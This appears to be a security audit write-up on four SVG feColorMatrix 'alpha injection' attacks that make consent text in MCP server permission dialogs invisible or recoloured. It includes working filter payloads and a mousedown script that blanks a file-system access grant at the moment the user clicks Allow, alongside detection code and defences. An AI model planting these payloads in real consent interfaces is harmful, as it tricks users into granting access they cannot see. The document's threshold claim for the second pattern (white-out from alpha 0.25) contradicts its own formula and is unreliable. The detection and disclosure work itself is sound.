MCP server SVG feColorMatrix alpha-channel injection consent security
Four SA-CSS-CZA consent attack patterns using feColorMatrix type="matrix" with non-zero coefficients in the alpha-input column (column 3, positions v[3], v[8], v[13]) — injecting the pixel’s own alpha value into its RGB output channels, which forces fully opaque consent text to constant white (WCAG 1.00:1), and evades scanners that inspect only RGB-to-RGB coefficient rows.
The feColorMatrix type="matrix" 20-element values array encodes a 4×5 matrix where each output channel (R′, G′, B′, A′) is computed as a linear combination of the five inputs (R, G, B, A, and the constant 1). Column 3 of this matrix is the alpha-input column: it multiplies the pixel’s alpha value (between 0.0 and 1.0 in straight — non-premultiplied — SVG filter processing) and adds the result to each output channel. In a standard identity or grayscale matrix, the alpha-input column is zero for all RGB output rows (only A′ depends on A). Setting column 3 to a non-zero value in the RGB rows creates a cross-channel dependency: the alpha value of each pixel is injected into the colour output.
Alpha injection white-out: Any fully opaque pixel (A=1.0) with zero RGB input coefficients and alpha coefficient=1.0 in all RGB rows produces constant white output (R′=G′=B′=1.0, A′=1.0). Consent text rendered as opaque elements — the normal case for HTML text — becomes pure white on a white background. WCAG contrast: 1.00:1. The attack evades scanners that check only positions v[0]–v[2] (R-input), v[5]–v[7] (G-input), and v[10]–v[12] (B-input) for suspicious coefficient patterns, because those positions are all zero (benign). The attack is in position v[3]/v[8]/v[13] — the alpha-input column — which many checkers ignore.
Alpha-column injection formula
/* feColorMatrix 20-element values layout (4 rows × 5 columns):
Row 0 (R output): v[0]×R + v[1]×G + v[2]×B + v[3]×A + v[4]
Row 1 (G output): v[5]×R + v[6]×G + v[7]×B + v[8]×A + v[9]
Row 2 (B output): v[10]×R + v[11]×G + v[12]×B + v[13]×A + v[14]
Row 3 (A output): v[15]×R + v[16]×G + v[17]×B + v[18]×A + v[19]
Alpha injection: set v[3]=v[8]=v[13]=1, all other RGB-row inputs to 0:
values="0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0"
For any pixel with alpha A (straight, 0–1 range):
R' = 0×R + 0×G + 0×B + 1×A + 0 = A
G' = A
B' = A
A' = A
WCAG relative luminance of output (R'=G'=B'=A):
L' = 0.2126×A + 0.7152×A + 0.0722×A = 1.0×A
For fully opaque consent text (A=1.0):
L' = 1.0 (pure white)
WCAG contrast vs white (L=1.0): (1.0+0.05)/(1.0+0.05) = 1.00:1 — INVISIBLE
For semi-transparent (A=0.5) composed on white background:
Foreground pixel: R'=G'=B'=0.5, A'=0.5
Composite: L_eff = 0.5×0.5 + (1-0.5)×1.0 = 0.25 + 0.5 = 0.75
WCAG vs white: 1.05/(0.75+0.05) = 1.05/0.80 = 1.31:1 — fail
Scanner blind spot: v[0]=v[1]=v[2]=0 (R-input column zero — no RGB cross-mixing)
The attack is entirely in the alpha-input column (v[3]=v[8]=v[13]=1). */
SA-CSS-CZA-001: full alpha injection — all opaque content forced to white
Setting values="0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0" forces every output channel to the pixel’s own alpha. Consent text rendered as fully opaque HTML elements (A=1.0) becomes constant white. The filter applies in SVG linear-RGB space: even dark text (#111111, linearRGB ≈ 0.017) is transformed to (1.0, 1.0, 1.0) because only the alpha value (1.0) contributes. On a white background, white text produces a 1.00:1 contrast — the minimum possible. The background itself, if it is also opaque and inside the filter region, likewise transforms to white. Either way the consent panel is invisible.
<filter id="cza001">
<feColorMatrix type="matrix"
values="0 0 0 1 0
0 0 0 1 0
0 0 0 1 0
0 0 0 1 0"/>
</filter>
<!-- For opaque dark text #111111 (linearRGB R=G=B≈0.017, A=1.0):
R' = 1×A = 1.0 (pure white channel)
G' = 1.0, B' = 1.0, A' = 1.0
Output: (1.0, 1.0, 1.0, 1.0) = pure white, fully opaque
WCAG vs white background: 1.05/1.05 = 1.00:1 — completely invisible.
For transparent pixels (A=0.0): R'=G'=B'=0 (black), A'=0 (transparent)
→ transparent pixels remain transparent (not an issue)
Scanner check: v[0]=v[1]=v[2]=0 → no suspicious R-source terms.
Attackers rely on scanner ignoring v[3]=1 (alpha-input coefficient). -->
function detectAlphaColumnInjection(filterEl) {
for (const m of filterEl.querySelectorAll('feColorMatrix[type="matrix"]')) {
const v = (m.getAttribute('values') || '').trim().split(/\s+/).map(Number);
if (v.length !== 20) continue;
// Check each RGB output row for non-zero alpha-input coefficient
for (const [base, alphaIdx] of [[0,3],[5,8],[10,13]]) {
if (Math.abs(v[alphaIdx]) > 0.05) {
// Non-trivial alpha contribution to RGB output
// Simulate: for A=1 opaque pixel, what is the output channel?
const outputAtA1 = v[base]*1 + v[base+1]*1 + v[base+2]*1 + v[alphaIdx]*1 + v[base+4];
const outputClamped = Math.max(0, Math.min(1, outputAtA1));
if (outputClamped > 0.85) {
return { risk: 'CRITICAL', row: base/5, outputForOpaque: outputClamped.toFixed(3) };
}
}
}
}
return null;
}
SA-CSS-CZA-002: scaled alpha injection — white-out for A ≥ 0.25, passes for low-alpha content
The coefficient for the alpha-input column is set to 2.0 with a constant offset of −0.5 in each RGB row: values="0 0 0 2 -0.5 0 0 0 2 -0.5 0 0 0 2 -0.5 0 0 0 1 0". For each pixel: R′=G′=B′=2×A−0.5. For fully opaque content (A=1.0): output=1.5, clamped to 1.0 — white. For A=0.75: output=1.0 — still white. For A=0.25 (threshold): output=0.0 — black. The threshold is exactly A=0.25. Any consent element with opacity >0.25 (the overwhelming majority of rendered text) becomes white. A scanner checking for alpha coefficient=1 as the attack signature misses coefficient=2; the correct check is any alpha coefficient value that, combined with the constant offset, produces output > 0.85 for typical A > 0.5 content.
<filter id="cza002">
<feColorMatrix type="matrix"
values="0 0 0 2 -0.5
0 0 0 2 -0.5
0 0 0 2 -0.5
0 0 0 1 0"/>
</filter>
<!-- R' = 2×A - 0.5 (clamped to [0,1])
A=1.0 (opaque) → 2×1.0-0.5=1.5 → 1.0 (white, WCAG 1.00:1)
A=0.75 → 2×0.75-0.5=1.0 → 1.0 (white)
A=0.5 → 2×0.5-0.5=0.5 → 0.5 (mid-gray, WCAG 1.91:1)
A=0.3 → 2×0.3-0.5=0.1 → 0.1 (L=0.1, WCAG 7.0:1 — passes)
A=0.25 (threshold)→ 0.0 → 0.0 (black, WCAG 21:1 — passes)
Evades exact-coefficient=1 check. Coefficient is 2.0. -->
SA-CSS-CZA-003: single-channel alpha injection — R-channel forced to maximum, colour semantics destroyed
Injecting alpha into only the R output row while preserving G and B: values="0 0 0 1 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0". For opaque pixels: R′=A=1.0 (forced maximum), G′=G (preserved), B′=B (preserved). Dark consent text #111111 (linearRGB ≈ 0.017): becomes (1.0, 0.017, 0.017) — bright red. The relative luminance is L≈0.226; WCAG vs white: 1.05/0.276=3.80:1 (fails AA). More importantly: colour-coded consent UI loses semantic meaning. Green safe-badge #22C55E (R≈0.016) and red danger-badge #EF4444 (R≈0.871) both get their R channel replaced by alpha (1.0). Green becomes (1.0, 0.424, 0.085) — vivid orange; red becomes (1.0, 0.108, 0.108) — unchanged bright red. The safe-badge and danger-badge now both appear red/orange — the safe signal is destroyed.
<filter id="cza003">
<feColorMatrix type="matrix"
values="0 0 0 1 0
0 1 0 0 0
0 0 1 0 0
0 0 0 1 0"/>
</filter>
<!-- Row 0 (R output): R' = alpha = 1.0 for all opaque pixels
Row 1 (G output): G' = G (identity — green channel preserved)
Row 2 (B output): B' = B (identity — blue channel preserved)
Row 3 (A output): A' = A (alpha preserved)
Dark text #111111 → (1.0, 0.017, 0.017): L≈0.226, WCAG 3.80:1 (fail AA)
Green badge #22C55E → (1.0, 0.424, 0.085): vivid orange; WCAG 2.25:1 (fail)
Red badge #EF4444 → (1.0, 0.108, 0.108): unchanged bright red; WCAG 3.47:1 (fail)
Both safe and danger colours now appear red-orange; semantic distinction erased. -->
SA-CSS-CZA-004: JS mousedown identity → full alpha injection at click time
The initial filter values are the identity matrix. Consent text renders with correct colours. On mousedown (immediately before the click event fires), the matrix is switched to the full alpha injection variant. All consent text becomes white simultaneously with the confirmation tap. Static analysis of the page’s initial DOM sees only the identity matrix and reports no finding.
<svg style="position:absolute;width:0;height:0">
<defs>
<filter id="cza004">
<feColorMatrix id="cza004M" type="matrix"
values="1 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0"/>
</filter>
</defs>
</svg>
<div style="filter:url(#cza004)">
I grant file-system read access to this MCP server.
<button id="allow">Allow</button>
</div>
<script>
document.getElementById("allow").addEventListener("mousedown", () => {
document.getElementById("cza004M").setAttribute("values",
"0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0");
// All opaque content → white; WCAG 1.00:1 at confirmation moment
});
</script>
Attack summary
| ID | Alpha coeff (v[3],v[8],v[13]) | Effect at A=1.0 | WCAG vs white | Evasion | Severity |
|---|---|---|---|---|---|
| SA-CSS-CZA-001 | 1.0 | Pure white (L=1.0) | 1.00:1 | RGB-input check sees only zeros | Critical |
| SA-CSS-CZA-002 | 2.0 (offset −0.5) | White for A≥0.25; dark for A<0.25 | 1.00:1 (opaque) | Alpha coefficient ≠ 1 evades equality check | Critical |
| SA-CSS-CZA-003 | 1.0 (R row only) | R=1.0 (max), G/B preserved → orange/red cast | 3.80:1 (fail); semantic destruction | Partial injection; G/B rows look normal | High |
| SA-CSS-CZA-004 | 0 (identity) → 1.0 (mousedown) | Correct colour at load; white at click | — | Static analysis sees identity | Critical |
Defences
- Check all five columns, not just RGB-input columns: Scanner must check v[3], v[8], v[13] (alpha-input column) in the 20-element matrix, not only the RGB-to-RGB region. For each RGB output row, compute the output channel value at (R=0.5, G=0.5, B=0.5, A=1.0) — a typical opaque pixel. If the computed channel value exceeds 0.85, flag as a potential white-out via alpha injection.
- Simulate filter output numerically for opaque pixels: For any
feColorMatrix type="matrix"in an ancestor of a consent element, evaluate the 20-element matrix with the input (R=0, G=0, B=0, A=1.0) and (R=1, G=0, B=0, A=1.0). These test vectors reveal both the constant and alpha terms. If either test produces output luminance > 0.85, flag CRITICAL. - MutationObserver on feColorMatrix values attribute: Re-run the alpha-column check on every attribute mutation. The identity→injection transition (SA-CSS-CZA-004) fires at mousedown, before the click event. Block consent confirmation if injection is detected on any attribute change.
- Include constant offset in the range check: SA-CSS-CZA-002 uses alpha coefficient 2.0 with offset −0.5. The correct detection is not “alpha coefficient > 0.5” but “alpha coefficient×A + offset > 0.85 for any A in (0.5, 1.0)”. Evaluate the formula at A=1.0 and A=0.5 to determine the range of affected pixels.
SkillAudit findings for this attack surface
feColorMatrix type="matrix" with alpha-input column coefficients=1.0 in all RGB output rows (values positions v[3]=v[8]=v[13]=1); all RGB input coefficients=0; constant offsets=0; effect: R′=G′=B′=A for every pixel; for fully opaque consent text (A=1.0) → pure white output; WCAG contrast vs white = 1.00:1; invisible on white background; evades RGB-input-only scanners because RGB coefficient positions v[0]–v[2], v[5]–v[7], v[10]–v[12] are all zero (benign appearance).feColorMatrix type="matrix" with scaled alpha injection (v[3]=v[8]=v[13]=2.0, constant offsets v[4]=v[9]=v[14]=−0.5); R′=G′=B′=2×A−0.5; white-out threshold A≥0.25 (covers all normally opaque consent text); passes for semi-transparent elements (A<0.25) — false-negative for low-opacity overlays; evades check for alpha coefficient=1.0 (coefficient is 2.0).feColorMatrix type="matrix" with single-channel alpha injection into R output row only (v[3]=1); G and B rows remain identity; dark consent text → bright red (#ff0404 approx); WCAG 3.80:1 (fail AA); colour-coded safe/danger badges both acquire forced red R-channel (both appear orange/red); semantic distinction between green safe and red danger badges erased; partial injection — G and B row inspections appear normal.